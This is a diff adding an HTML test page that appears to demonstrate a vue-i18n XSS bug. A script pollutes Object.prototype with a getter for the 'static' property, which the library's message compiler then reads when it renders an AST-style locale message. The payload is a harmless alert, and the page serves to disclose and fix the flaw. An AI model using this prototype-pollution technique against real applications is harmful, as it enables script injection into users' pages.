|
| 1 | +<!doctype html> |
| 2 | +<html> |
| 3 | + <head> |
| 4 | + <meta charset="utf-8" /> |
| 5 | + <title>vue-i18n XSS</title> |
| 6 | + <script src="../../node_modules/vue/dist/vue.global.js"></script> |
| 7 | + <script src="../../packages/vue-i18n/dist/vue-i18n.global.js"></script> |
| 8 | + <!-- Scripts that perform prototype contamination, such as being distributed from malicious hosting sites or injected through supply chain attacks, etc. --> |
| 9 | + <script> |
| 10 | + /** |
| 11 | + * Prototype pollution vulnerability with `Object.prototype`. |
| 12 | + * The 'static' property is part of the optimized AST generated by the vue-i18n message compiler. |
| 13 | + * About details of special properties, see https://github.com/intlify/vue-i18n/blob/master/packages/message-compiler/src/nodes.ts |
| 14 | + * |
| 15 | + * In general, the locale messages of vue-i18n are optimized during production builds using `@intlify/unplugin-vue-i18n`, |
| 16 | + * so there is always a property that is attached during optimization like this time. |
| 17 | + * But if you are using a locale message AST in development or your own, there is a possibility of XSS if a third party injects prototype pollution code. |
| 18 | + */ |
| 19 | + Object.defineProperty(Object.prototype, 'static', { |
| 20 | + configurable: true, |
| 21 | + get() { |
| 22 | + alert('prototype polluted!') |
| 23 | + return 'prototype pollution' |
| 24 | + } |
| 25 | + }) |
| 26 | + </script> |
| 27 | + </head> |
| 28 | + <body> |
| 29 | + <div id="app"> |
| 30 | + <p>{{ t('hello') }}</p> |
| 31 | + </div> |
| 32 | + <script> |
| 33 | + const { createApp } = Vue |
| 34 | + const { createI18n, useI18n } = VueI18n |
| 35 | + |
| 36 | + // AST style locale message, which build by `@intlify/unplugin-vue-i18n` |
| 37 | + const en = { |
| 38 | + hello: { |
| 39 | + type: 0, |
| 40 | + body: { |
| 41 | + items: [ |
| 42 | + { |
| 43 | + type: 3, |
| 44 | + value: 'hello world!' |
| 45 | + } |
| 46 | + ] |
| 47 | + } |
| 48 | + } |
| 49 | + } |
| 50 | + |
| 51 | + const i18n = createI18n({ |
| 52 | + legacy: false, |
| 53 | + locale: 'en', |
| 54 | + messages: { |
| 55 | + en |
| 56 | + } |
| 57 | + }) |
| 58 | + |
| 59 | + const app = createApp({ |
| 60 | + setup() { |
| 61 | + const { t } = useI18n() |
| 62 | + return { t } |
| 63 | + } |
| 64 | + }) |
| 65 | + app.use(i18n) |
| 66 | + app.mount('#app') |
| 67 | + </script> |
| 68 | + </body> |
| 69 | +</html> |
0 commit comments